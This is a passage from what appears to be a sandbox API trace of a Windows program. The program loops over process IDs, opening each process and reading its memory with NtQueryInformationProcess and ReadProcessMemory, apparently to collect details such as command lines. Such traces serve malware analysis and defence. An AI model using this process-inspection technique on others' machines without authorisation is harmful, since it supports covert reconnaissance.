lpNumberOfBytesRead=0x0) returned 1 [0349.202] free (_Block=0xe95b00) [0349.202] CloseHandle (hObject=0xa9c) returned 1 [0349.202] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0349.202] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0349.203] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.203] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0349.203] GetLastError () returned 0x0 [0349.203] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.204] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.204] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.204] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.205] malloc (_Size=0x6a) returned 0xea97a0 [0349.205] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea97a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.205] free (_Block=0xea97a0) [0349.205] CloseHandle (hObject=0xa9c) returned 1 [0349.205] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0349.206] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0349.206] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.206] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.207] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0349.207] GetLastError () returned 0x0 [0349.207] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.207] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.208] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.208] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.208] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.208] malloc (_Size=0x72) returned 0xea8e20 [0349.209] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea8e20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0349.210] free (_Block=0xea8e20) [0349.210] CloseHandle (hObject=0xa9c) returned 1 [0349.210] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0349.210] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0349.210] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.211] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0349.211] GetLastError () returned 0x0 [0349.211] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.212] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.212] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.212] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.213] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.213] malloc (_Size=0x74) returned 0xea94a0 [0349.213] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea94a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.213] free (_Block=0xea94a0) [0349.213] CloseHandle (hObject=0xa9c) returned 1 [0349.213] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0349.214] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0349.214] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.214] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.215] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0349.215] GetLastError () returned 0x0 [0349.215] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.215] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.215] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.216] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.216] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.216] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.216] malloc (_Size=0x66) returned 0xeb65b0 [0349.216] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb65b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0349.216] free (_Block=0xeb65b0) [0349.216] CloseHandle (hObject=0xa9c) returned 1 [0349.217] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0349.217] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0349.217] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.217] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.218] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0349.218] GetLastError () returned 0x0 [0349.218] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.218] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.218] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.218] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.218] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.219] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.219] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.219] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.219] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.219] malloc (_Size=0x84) returned 0xe87c10 [0349.219] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe87c10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0349.220] free (_Block=0xe87c10) [0349.220] CloseHandle (hObject=0xa9c) returned 1 [0349.249] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0349.249] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0349.249] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.249] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.250] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0349.250] GetLastError () returned 0x0 [0349.250] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.251] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.251] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.252] malloc (_Size=0x70) returned 0xea8d20 [0349.252] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea8d20, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0349.252] free (_Block=0xea8d20) [0349.252] CloseHandle (hObject=0xa9c) returned 1 [0349.252] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0349.253] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0349.253] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.253] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0349.254] GetLastError () returned 0x0 [0349.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.255] malloc (_Size=0x6a) returned 0xea8e20 [0349.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8e20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0349.256] free (_Block=0xea8e20) [0349.256] CloseHandle (hObject=0xa9c) returned 1 [0349.256] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0349.256] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0349.256] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.256] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0349.257] GetLastError () returned 0x0 [0349.257] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.257] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.257] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.258] malloc (_Size=0x86) returned 0xe87a60 [0349.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87a60, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87a60*, lpNumberOfBytesRead=0x0) returned 1 [0349.259] free 